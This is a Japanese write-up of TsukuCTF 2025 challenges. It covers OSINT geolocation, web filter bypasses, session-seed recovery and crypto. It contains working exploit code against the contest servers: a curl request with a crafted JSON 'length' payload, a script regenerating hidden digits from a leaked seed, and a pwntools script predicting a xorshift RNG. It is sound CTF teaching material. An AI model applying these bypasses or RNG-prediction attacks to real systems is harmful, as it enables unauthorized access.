TsukuCTF 2025
Writeup
osint
問題
これは日本の有名な場所の一部です。あなたはこの写真の違和感に気づけますか?
フラグはこの場所のWebサイトのドメインです。
例: TsukuCTF25{example.com}

Google Lensで調べると、どうやらスパイラルエスカレーターという珍しいエスカレーターらしい
スパイラルエスカレーターで検索して画像を漁っていると・・・

エスカレーターの警告表示(?)が似ている
https://ameblo.jp/umaleeno/entry-12876405935.html
「ランドマークタワー」という場所らしい
https://www.yokohama-landmark.jp/
TsukuCTF25{www.yokohama-landmark.jp}
問題
このTelegramの投稿の写真に写っている学校を特定してください。
フラグフォーマットはその場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。
例: TsukuCTF25{12.345_123.456}
注意: この問題を解く過程で、戦争に関わる直接的な画像が表示される場合があります。
23:14 GMT+9 追記: フラグを追加しました
解法
Telegramの投稿にある画像を使って画像検索をすると2022年12月24日にウクライナのザポリージャ郊外にミサイル攻撃を受けた記事が出てくる。
2022年12月24日、ザポリジジでロシア軍がステプネンコミュニティの体育館に発砲しました
記事をみると
- ステプネンコミュニティ (Степненська громада)
- ギムナジウム (гімназія)
- レジネ村 (село Лежине)
レジネ村のギムナジウムを調べれば良いことがわかったのでGoogle検索すると、次のような学校のデータベースが得られた。
住所は с. Лежине, Запорізький р-н, Запорізька обл., вулиця Центральна, 19 らしい。この住所は通りの名前しか示していないそうなので、衛星画像から学校っぽい建物を調べる。

サッカーコートの付近に大きな建物があった。入口があるところや、建物がT字になっているあたりなどニュースやTelegramの投稿とマッチしたので確定した。

全く通らないと思って試行錯誤していたが、どうやら問題に誤ったフラグが設定されていたらしく再提出で正解した。
検索によく出てくるようなニュースだったため、サクサク情報が出てきた印象がある。
TsukuCTF25{47.807_35.358}
問題
遠くまで歩き、夕闇に消える足跡
煌めく街頭が、夜の街を飾る
傍らの道には、バイクの群れが過ぎ去り
風の音だけが残る
光と影の中、ふと立ち止まり思う
私は今、どこにいるんだろう
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。

解法
雰囲気が東南アジアで左側通行なのでマレーシアとかインドネシア?っぽいなと思った。
画像検索したりChatGPTに聞いてもわからなかったのでランドマークを探してみた。右側にある OTI FRIED CHIKEN がきになる。
調べると、インドネシアにあるOTI Fried Chikenというチェーン店で30店舗くらいあることがわかった。
Kunjungi Kami - OTI Fried Chicken
全店舗のストリートビューを見て OTI Fried Chicken Salatiga だとわかった。見覚えのある街灯と歩道もあった。

TsukuCTF25{-7.3188_110.4970}
OSINTの良い入門no
mondai
だと思う。
問題
素敵な雪山に辿り着いた!スノーボードをレンタルをして、いざ滑走!
フラグフォーマットは写真の場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。
例: TsukuCTF25{12.345_123.456}

解法
とりあえずGoogle Lensで調べると、どうやらスイスのグリンデルワルトという場所らしい。
https://niyodogawa.org/blog/outdoor/car/etc/64737/
ヴェターホルン(Wetterhorn)という山らしい

写真と同じと思われる建物が右側に見える。
奥にはSUNSTARと書いてある。
これを手がかりにして、Google Mapsで調べる。
サンスターホテルはすぐに見つかった。

ヴェターホルンが右にあるということは、写真の場所は地図のやや左だろうか。
一発でピッタリの場所が見つかった。

https://maps.app.goo.gl/4hppwGfJm2jzwrTg9
46.6235636,8.0399819
TsukuCTF25{46.624_8.040}
問題
海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。
この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。
Format: TsukuCTF25{YYYY/MM/DD}

解法
画像検索したら
熱海市とポルトガルのカスカイス市との国際交流を記念したことに関連があることがわかった。
姉妹都市の提携が1990年7月2日だったが、違った。
他の式典を探したら次の広報誌が見つかりました。
新たな熱海の花の名所としてお宮緑地を中心に平成26年6月6日に「ジャカランダ遊歩道」がオープンしました。完成記念式典はあいにくの雨だったものの、篤志家である(株)大塚商会の大塚実名誉会長、ジョゼ・デ・フレイタス・フェラース駐日ポルトガル大使をはじめとして、多くの関係者が一堂に介し、新たな花の名所の誕生を祝いました。TsukuCTF25{2014/06/06}
問題
YAML is awesome!!
解法
const express = require('express');const bodyParser = require('body-parser');const fs = require('fs');const path = require('path');const yaml = require('js-yaml');const app = express();app.use(bodyParser.text());
app.post('/', (req, res) => { try { if (req.body.includes('flag')) { return res.status(403).send('Not allowed!'); } if (req.body.includes('\\') || req.body.includes('/') || req.body.includes('!!') || req.body.includes('<')) { return res.status(403).send('Hello, Hacker :)'); }
const data = yaml.load(req.body); const filePath = data.file;
if (filePath && fs.existsSync(filePath)) { const content = fs.readFileSync(filePath, 'utf8'); return res.send(content); } else { return res.status(404).send('File not found'); } } catch (err) { return res.status(400).send('Invalid request'); }});
app.listen(3000, () => { console.log('Server listening on port 3000');});server.jsを見るとファイルの中身を返してくれるサーバーだということがわかる。
入力にはいくつか制限がある
flagを含められない\,/,!!,<を含められない
\が使えないので\u0000や\x000みたいなものは使えない。
では、YAMLの仕様を使いflagと書く方法があるのかと思い調べたがうまく見つけられなかった。
次に、readFileSyncを疑う。file://みたいなのを使ってバイパスできないだろうか。
readFileSyncでいろいろ調べてみる。
あ・・・・
https://nanimokangaeteinai.hateblo.jp/entry/2022/08/09/022238#Web-209-simplewaf-28-solves
ほぼ同じ状況だ・・・

TsukuCTF25{YAML_1s_d33p!}
expressで書かれたAPIがあり、arrayに何かを入れ、長さが0未満だとフラグをくれるっぽい
function chall(str = "[1, 2, 3]") { const sanitized = str.replaceAll(" ", ""); if (sanitized.length < 10) { return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`; } const array = JSON.parse(sanitized); if (array.length < 0) { // hmm...?? return FLAG; } return `error: no flag for you. array length is too long -> ${array.length}`;}配列のみ入力しろとは言ってないので、lengthが-1になる何かを入れれば良い。
curl -X POST -d 'array={"length":-1}' http://challs.tsukuctf.org:28888TsukuCTF25{l4n_l1n_lun_l4n_l0n}
問題
medium
3, 2, 1, pop!
http://challs.tsukuctf.org:50000/
解法
flashという名前の通り、フラッシュ暗算をさせられる問題。
スタートを押すと、/flashに遷移させられ、数字が表示される。
500msごとにリロードされ、次の数字になる。
パケットキャプチャすれば数字見れるし楽勝では・・?と思ったら途中から表示されない・・・
コードを見るとなんと4~7回目の数字は表示されないようになっている。
普通に解くのは無理そう。(そもそも私はフラッシュ暗算なんてできないが)
@app.route('/flash')def flash(): session_id = session.get('session_id') if not session_id: return redirect(url_for('index'))
r = session.get('round', 0) if r >= TOTAL_ROUNDS: return redirect(url_for('result'))
digits = generate_round_digits(SEED, session_id, r)
session['round'] = r + 1
visible = (session['round'] <= 3) or (session['round'] > 7) return render_template('flash.html', round=session['round'], total=TOTAL_ROUNDS, digits=digits, visible=visible)実装をよく読むと、数字は、共通のシードと、セッションIDから生成されている。
with open('./static/seed.txt', 'r') as f: SEED = bytes.fromhex(f.read().strip())
def lcg_params(seed: bytes, session_id: str): m = 2147483693 raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest() a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1 raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest() c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1 return m, a, c
def generate_round_digits(seed: bytes, session_id: str, round_index: int): LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest() state = int.from_bytes(h0, 'big') % LCG_M
for _ in range(DIGITS_PER_ROUND * round_index): state = (LCG_A * state + LCG_C) % LCG_M
digits = [] for _ in range(DIGITS_PER_ROUND): state = (LCG_A * state + LCG_C) % LCG_M digits.append(state % 10)
return digitsつまり、共通のシードと、セッションIDがわかれば、自分のPCで同じ数字を生成できる。
CookieのsessionにJWTが入っているので、デコードしてみる。

セッションIDがわかる。
seed.txtは/static/seed.txtにあるが、普通に取得できそう。
location /images { alias /var/www/flash/static/images/;}
b7c4c422a93fdc991075b22b79aa12bb19770b1c9b741dd44acbafd4bc6d1aabc1b9378f3b68ac345535673fcf07f089a8492dc1b05343a80b3d002f070771c6
あとは手元で生成するだけ
import hmac, hashlib, secretswith open('./static/seed.txt', 'r') as f: SEED = bytes.fromhex(f.read().strip())TOTAL_ROUNDS = 10DIGITS_PER_ROUND = 7def lcg_params(seed: bytes, session_id: str): m = 2147483693 raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest() a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1 raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest() c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1 return m, a, cdef generate_round_digits(seed: bytes, session_id: str, round_index: int): LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest() state = int.from_bytes(h0, 'big') % LCG_M
for _ in range(DIGITS_PER_ROUND * round_index): state = (LCG_A * state + LCG_C) % LCG_M
digits = [] for _ in range(DIGITS_PER_ROUND): state = (LCG_A * state + LCG_C) % LCG_M digits.append(state % 10)
return digits
session_id = input("session_id:")
correct = 0for i in range(TOTAL_ROUNDS): digits = generate_round_digits(SEED, session_id, i) number = int(''.join(map(str, digits))) print(number) correct += number
print(correct)実行

答えを入力

正解!

TsukuCTF25{Tr4d1on4l_P4th_Trav3rs4l}
問題
import string
plaintext = '[REDACTED]'key = '[REDACTED]'
# <plaintext> <ciphertext># ...?? tsukuctf, ??... -> ...aa tsukuctf, hj...assert plaintext[30:38] == 'tsukuctf'
# https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7#%E6%95%B0%E5%BC%8F%E3%81%A7%E3%81%BF%E3%82%8B%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%A8%E5%BE%A9%E5%8F%B7def f(p, k): p = ord(p) - ord('a') k = ord(k) - ord('a') ret = (p + k) % 26 return chr(ord('a') + ret)
def encrypt(plaintext, key): assert len(key) <= len(plaintext)
idx = 0 ciphertext = [] cipher_without_symbols = []
for c in plaintext: if c in string.ascii_lowercase: if idx < len(key): k = key[idx] else: k = cipher_without_symbols[idx-len(key)] cipher_without_symbols.append(f(c, k)) ciphertext.append(f(c, k)) idx += 1 else: ciphertext.append(c)
ciphertext = ''.join(c for c in ciphertext)
return ciphertext
ciphertext = encrypt(plaintext=plaintext, key=key)
with open('output.txt', 'w') as f: f.write(f'{ciphertext=}\n')解法
AIに投げました。
問題
つくし君とじゃんけんしよう。負けてもチャンスはいっぱいあるよ! フラグフォーマットは TsukuCTF25{} です。
import osimport secretsimport signal
FLAG = os.getenv("FLAG", "TsukuCTF25{dummy_flag}")
class xor_tsuku_shift: def __init__(self, seed): self.a = seed
def shift(self): self.a ^= (self.a << 17) & 0xFFFFFFFFFFFFFFFF self.a ^= (self.a >> 9) & 0xFFFFFFFFFFFFFFFF self.a ^= (self.a << 18) & 0xFFFFFFFFFFFFFFFF return self.a & 0xFFFFFFFFFFFFFFFF
def janken(a, b): return (a-b+3) % 3
rng = xor_tsuku_shift(seed=secrets.randbits(64))
signal.alarm(600)
print("Tsukushi: Let's play janken!")print("Tsukushi: Win 294 times in a row and you'll get the flag.")
for challenge in range(300): print(f"Tsukushi: You have {300-challenge:03} tries.") for round in range(294): print(f"--- Round {round:03} ---") tsukushi = rng.shift() you = int(input("Rock, Paper, Scissors... Go! (Rock: 0, Paper: 1, Scissors: 2): "))
if you != 0 and you != 1 and you != 2: print("Tsukushi: Hey, you cheated!") break
result = janken(you, tsukushi)
if result == 1: print("Tsukushi: You win!") if round != 293: print("Tsukushi: Let's go to the next round!") elif result == 0: print("Tsukushi: Draw! ...But If you wanna get the flag, you have to win 294 rounds in a row.") break else: print("Tsukushi: You lose!") break
else: print("Tsukushi: You won 294 times in a row?! That's incredible!") print(f"Tsukushi: So, here is the flag. {FLAG}") quit()
else: print("Tsukushi: GGEZ, Bye!")解法
294回連続で勝てばいいらしい。じゃんけんで出す手が謎のXOR Shiftによって定義されている。
AIはSATだといって解こうとしたが計算が終わらず終了。
もう一回AIに投げたらじゃんけんの手が280回の周期でループするらしい????? 実験すればよかった。
AIにexploitを書いてもらった。280回勝つ手を記録し、新しいゲームで294回勝つ手を出し続ける。
from pwn import *import re
HOST, PORT = "challs.tsukuctf.org", 30057PROMPT = b"(Rock: 0, Paper: 1, Scissors: 2): "
def recv_prompt(r): r.recvuntil(PROMPT)
def parse_result(line: bytes) -> int: s = line.decode() if "You win" in s: return 1 elif "Draw" in s: return 0 elif "You lose" in s: return 2 else: raise ValueError("unexpected server output")
def main(): r = remote(HOST, PORT) cycle = []
# ------- Phase 1 : collect 280 outputs mod 3 ------- while len(cycle) < 280: recv_prompt(r) r.sendline(b"0") # always Rock res = parse_result(r.recvline()) ts = (-res) % 3 # tsukushi mod 3; because we played 0 cycle.append(ts) print(len(cycle)) if res != 1: # lost / draw → next try block continue
# ------- Phase 2 : exit the current try block ------- # send an illegal value (“cheat”) to force a break recv_prompt(r) r.sendline(b"3") # triggers "Hey, you cheated!" print("done") r.recvuntil(b"cheated!") # flush current block
# RNG has advanced exactly one extra step we didn't record offset = 1 # we start at cycle[1] recv_prompt(r) # first prompt of the new try
# ------- Phase 3 : 294 perfect moves ------- for i in range(294): print(i) ts = cycle[(i + offset) % 280] you = (ts + 1) % 3 # the winning move r.sendline(str(you).encode())
res = parse_result(r.recvline()) if res != 1: print("alignment failed :(") return
if i != 293: # skip "next round!" etc. recv_prompt(r)
# flag line appears after the inner loop finishes print(r.recvall().decode())
if __name__ == "__main__": main()ほえーーーというのと、実験することは大事なんだなぁと思った。
問題
PQC(ポスト量子暗号)を使ってみました!
# REQUIRED: OpenSSL 3.5.0
import osfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad
flag = "TsukuCTF25{hoge}"
# generate private keyos.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")# generate public keyos.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")# generate shared secretos.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")
with open("priv-ml-kem-768.pem", "rb") as f: private_key = f.read()
print("==== private_key ====")print(private_key.decode())
with open("ciphertext.dat", "rb") as f: ciphertext = f.read()
print("==== ciphertext(hex) ====")print(ciphertext.hex())
with open("shared.dat", "rb") as f: shared_secret = f.read()
encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))
print("==== encrypted_flag(hex) ====")print(encrypted_flag.hex())outputは長いので省略する。
==== private_key ====-----BEGIN PRIVATE KEY-----...-----END PRIVATE KEY-----
==== ciphertext(hex) ====83d...7ab65==== encrypted_flag(hex) ====5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd解法
大会中は自分のOpenSSLが3.4.xのためにderyptできなくてAIに書いてもらったPythonスクリプトで正解した。
それじゃWriteupとして情報量がないので正攻法でやってみる。
OpenSSLをビルドした。
本当は./Configureの時点でprefixを設定して/usr/localにバイナリを置かないようにするべきだと思う。
wget https://github.com/openssl/openssl/releases/download/openssl-3.5.0/openssl-3.5.0.tar.gztar zxvf openssl-3.5.0.tar.gzcd openssl-3.5.0./Configuremakemake installあとはxxdを使ってhexをバイナリになおしてopensslで復号する。
- priv.pem
- ct.bin
xxd -r -p flag.hex > flag.enc/usr/local/bin/openssl pkeyutl -decap -inkey priv.pem -in ct.bin -out shared.dat最後にAESでフラグを復号して終わり。
from Crypto.Cipher import AES
with open("shared.dat", "rb") as f: shared_secret = f.read()
encrypted_flag = bytes.fromhex("5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd")flag = AES.new(shared_secret, AES.MODE_ECB).decrypt(encrypted_flag)
print(flag.decode())TsukuCTF25{W3lc0me_t0_PQC_w0r1d!!!}
初めてOpenSSLをビルドして良い経験になった。